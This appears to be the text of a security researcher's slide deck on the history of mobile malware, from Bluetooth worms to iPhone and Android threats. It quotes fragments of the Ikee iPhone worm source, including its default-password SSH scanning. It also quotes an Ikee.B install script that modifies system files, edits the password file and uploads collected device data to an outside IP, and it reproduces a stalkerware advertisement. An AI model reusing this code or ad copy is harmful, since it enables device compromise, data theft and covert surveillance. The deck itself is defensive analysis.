Mobile Malware - Past and Future
Mikko Hypponen
Chief Research Officer
F-Secure
WARNING!
LIVE WIRELESS VIRUSES
DO NOT OPEN THE DOOR!
IF THE DOOR IS CLOSED THERE IS VIRUS TESTING
IN PROGRESS
Smartphone market shares in 2009

Data source: Canalys
Mobile Security - Where are we today?

• First mobile malware found in 2004
• Now: 430 viruses, worms and trojans for mobile platforms
• Targeting the most common platforms
• No exploit-based malware, yet
• Real problems elsewhere
• Lost, broken or stolen phones
Bluetooth worm spreading patterns

• Cabir found in-the-wild from Philippines in August 2004

Singapore, UAE, China, India, Finland, Vietnam, Turkey, Russia, UK, Italy, USA, Japan, Hong Kong, France, South Africa, Australia, The Netherlands, Egypt, Luxembourg, New Zealand, Switzerland, Germany, ...
<table>
<thead>
<tr>
<th>#</th>
<th>Bluetooth Device</th>
<th>Virus name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Jaana Nokia 6230</td>
<td>SymbOS/Skulls.A</td>
</tr>
<tr>
<td>2</td>
<td>EXPLOIT</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>3</td>
<td>TABLE-PC2</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>4</td>
<td>Nokia 7100</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>5</td>
<td>Nokia 6310 i</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>6</td>
<td>BlackBerry 7100</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>7</td>
<td>Nokia 6230i</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>8</td>
<td>Nokia 6310i</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>9</td>
<td>Nokia 6230i</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>10</td>
<td>Nokia 6230i</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>11</td>
<td>Nokia 6230i</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>12</td>
<td>Nokia 6230i</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>13</td>
<td>Honeypot</td>
<td>EICAR test file</td>
</tr>
<tr>
<td>14</td>
<td>IBM-EK</td>
<td>EICAR test file</td>
</tr>
</tbody>
</table>

Closest 14 discoverable Bluetooth devices (currently 134 devices in range, total 828)
Device Have been
ATTACK BY VIRUS
A. TEE, yuan, Blue
WARNING!!
Making Money With Trojans

Some trojans send SMS messages to premium rate numbers

- When the trojan application is executed it shows some social engineering text and either sends SMS messages directly or asks for user permission
- Case Redbrowser
How did the vendors react?

- Fixing bluetooth
- Building mandatory signing
Mobile Signing / Certification frameworks

- Symbian Signed
- iPhone App Store
- Palm App Catalog
- BlackBerry App World
- Windows Marketplace for Mobile
- Android Marketplace
Is Someone Keeping Secrets from You?  
Reveal All with the Worlds Most Powerful Spyhone

- Download FlexiSPY spyphone software directly onto a mobile phone and receive copies of SMS, Call Logs, Emails, Locations and listen to conversations within minutes of purchase.
- Catch cheating wives or cheating husbands, stop employee espionage, protect children, make automatic backups, bug meetings rooms etc.
- Learn all about FlexiSPY, Still have questions, try Live Chat who are waiting to help

**FLEXISPY - PRO - X**

**FLEXISPY iPhone**

**TOP OF THE RANGE SPYPHONE**

- Listen to actual phone calls
- Use as a secret mobile gps tracker
- Includes all PRO features
- Change phones as often as you like
- Symbian, Windows Mobile & BlackBerry

**NEW**

**Worlds Most powerful iPhone spy phone**

- Secretly read SMS, Email, Call Logs
- Track location on map
- Make secret spy calls
- BASIC version from $ 39.99

**ORDER NOW: €250.0 (per year)**

**LEARN ABOUT SPYPHONE FEATURES HERE**  
**Buy Now**

**HOW CAN FLEXISPY HELP YOU**

- UNCOVER Employee espionage
- CATCH cheating husbands and cheating wives
- TRACK THEIR location using GPS
- PROTECT your children from SMS abuse.
- ARCHIVE all your own SMS for the future.
- SAVE your call history.
- BUG Meeting rooms and CHECK babysitters

**BUY NOW**
Flexispy

- Spying tool that monitors:
  - Voice calls
  - SMS messages
  - Mobile email
  - Phone location
  - Remote audio

ORDER NOW: €250.0 (per year)

LEARN ABOUT SPYPHONE FEATURES HERE

Buy Now
How did Flexispy get signed?

They cheated!
SexyView.A

- First SMS worm
- Found in February 2009
- Works on Symbian Series 60 3rd edition
- The installation file is signed
短信

+8615993944333

[全球中文成人在线][A片达人-偶的毛片基地][红河谷快乐性爱王国]，免费加入，三天内有效......

http://www.wwqx-sun.com/game

Links to:

http://www.wwqx-cyw.com/game
http://www.wwqx-sun.com/game
http://www.wwqx-mot.com/game
SexyView.D

- Found in July 2009
- Uses English SMS messages
- Downloads the message templates from the web
- First mobile botnet
iPhone
iPhone worm Ikee

- Found on 8th of November 2009
- Written by an Australian hobbyist
- Hits jailbroken iPhones
- Uses a known ssh password
- Rickrolls the phone

```
//
// iPhone default pass worm  by ikex
//
// This code is CLOSED source.
// And very hacky, i just needed it to work.
//
// Thanks to alan3423432432 haha for helping me work out my flaws in C
//
#include "main.h"

int fdlock;

// randHost(): Returns a random IP Address XXX.XXX.XXX.XXX
exit(EXIT_FAILURE);
    else if (pid > 0)
        exit(EXIT_SUCCESS);

umask(0);

sid = setsid();
*/
if(get_lock() == 0) {
    syslog(LOG_DEBUG, "I know when im not wanted *sniff*"");
    return 1; } // Already running.
sleep(60); // Lets wait for the network to come up 2 MINS
syslog(LOG_DEBUG, "IIIIII Just want to tell you how im feeling");

char *locRanges = getAddrRange();
char *lanRanges = "192.168.0.0-192.168.255.255"; // #172.16.0.0-172.31.255.255 Ehh who uses it
char *vodRanges = "202.81.0.0-202.81.255.255";
char *vodRanges = "23.98.128.0-23.98.143.255";
char *vodRanges = "120.16.0.0-120.23.255.255";
char *optRanges = "114.72.0.0-114.75.255.255";
char *optRanges = "203.2.75.0-203.2.75.255";
char *optRanges = "210.49.0.0-210.49.255.255";
char *optRanges = "203.17.140.0-203.17.140.255";
char *optRanges = "203.17.138.0-203.17.138.255";
char *optRanges = "211.28.0.0-211.31.255.255";
char *telRanges = "58.160.0.0-58.175.255.255";
//char *attRanges = "32.0.0.0-32.255.255.255"; // TOO BIG

syslog(LOG_DEBUG, "awoadqdoqjdqjwiodejqoi aaah!");
ChangeOnBoot();
KillSSHD();
// Local first
while (1)
{
    syslog(LOG_DEBUG, "Checking out the local scene yo");
    scanner(locRanges);
    syslog(LOG_DEBUG, "Random baby");
    int i;
    Forr (i=0; i <= 2; i++)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <time.h>
#include <fcntl.h>
#include <syslog.h>
#include <ifaddrs.h>
#include <arpa/inet.h>

#define VULN_PAS "alpine"
#define MAX_NUM ...

void scanner(char *ipRange);
int tokenise (char input[], char *token[], char* spl);
char *getAddrRange();
int get_lock(void);
char *randHost(void);
int scanHost(char* host);
int checkHost(char* host);
int runCommand(char* command, char *host);
int prunCommand(char* command, char *host);
int CopyFile(char* src, char* dst, char* host);
int infectHost(char *host);
int ChangeOnBoot();
int KillSSHD();
i see is not like you up
sunnuntaina 8. marraskuuta
19.55
iPhone worm Duh, 22 November 2009

```
[c:\virus\ikee_b\home]\type inst
#!/bin/sh
if test ! -r /etc/rel ;then
  ID='cat /etc/rel'
else
  ID=$RANDOM$RANDOM
endif
echo "$ID" >/etc/rel
fi
mkdir $ID
rm -rf /System/Library/LaunchDaemons/com.apple.ksyslog.plist
#cp com.apple.ksyslog.plist /private/var/mobile/home/
cp com.apple.ksyslog.plist /System/Library/LaunchDaemons/com.apple.ksyslog.plist

/bin/launchctl load -$w /System/Library/LaunchDaemons/com.apple.ksyslog.plist
dpkg -i --refuse-downgrade --skip-same-version curl_7.19.4-6_iphoneos-arm.deb
curl 10 cache.saurik.com/debs/sqlite3_3.5.9-9_iphoneos-arm.deb
dpkg -i --refuse-downgrade --skip-same-version sqlite3_3.5.9-9_iphoneos-arm.deb
curl 10 cache.saurik.com/debs/adv-cmds_119-5_iphoneos-arm.deb
dpkg -i --refuse-downgrade --skip-same-version adv-cmds_119-5_iphoneos-arm.deb
SQLITEI='which sqlite3'
#sqlite3 /private/var/mobile/Library/SMS/sms.db "select * from message" ! cut -d "|" -f 2.3.4.14 > $ID/sms.txt
mv com.apple.period.plist /System/Library/LaunchDaemons/
chmod +x /System/Library/LaunchDaemons/com.apple.period.plist
/bin/launchctl load -$w /System/Library/LaunchDaemons/com.apple.period.plist
sed -i -e '/sms?MYTQli2M/ztzk6MZPq8t\"/Q/g' /etc/master.passwd
uname -nr >>$ID/info
echo $SQLITE >>$ID/info
ifconfig | grep inet >> $ID/info
tar czf $ID.tar.gz $ID
curl 92.61.38.16/xml/a.php?name=$ID --data "data=base64 -w $ID.tar.gz" sed -e 's/\%/plu/g';
```

[...]

February 2010 iPhone patches

- CoreAudio (CVE-2010-0036) arbitrary code execution
- ImageIO (CVE-2009-2285) arbitrary code execution
- WebKit (CVE-2009-3384) arbitrary code execution
- WebKit (CVE-2009-2841) arbitrary code execution
"I am convinced that computer viruses are not evil and that programmers have a right to create them, to possess them and to experiment with them! Truth seekers and wise men have been persecuted by powerful idiots in every age..."

- Mark A. Ludwig
Hello, Android

There will be mahware :D
Android Action
Banks targeted by “09droid”

Abbey Bank
Alaska USA FCU
Alliance & Leicester (v. 1.1)
Bank Atlantic
Bank of America
Bank of Queensland
Barclaycard (v. 1.1)
Barclays Bank (v. 1.2)
BB&T
Chase
City Bank Texas
Commerce Bank
Compass Bank
Deutsche Bank
Fifty Third Bank v.1.1
First Republic Bank v.1.1
Great Florida Bank
LloydsTSB
M&I
Mechanics Bank v.1.1
MFFCU v.1.1
Midwest
Nationwide (v. 1.1)
NatWest (v. 1.1)
Navy Federal Credit Union (v. 1.1)
PNC
Royal Bank of Canada
RBS v.1.1
SunTrust
TD Bank v.1.1
US Bank v.1.2
USAA v.1.1
Valley Credit Union
Wachovia Corp (v. 1.2)
Wells Fargo (v. 1.1)
PHISHING
Future

- More malware
- Mobile botnets
- Drive-by-exploits
- Rogue dialers
- Major outbreaks
- Mobile spambots
Mobile Malware - Past and Future
Mikko Hypponen
Chief Research Officer
F-Secure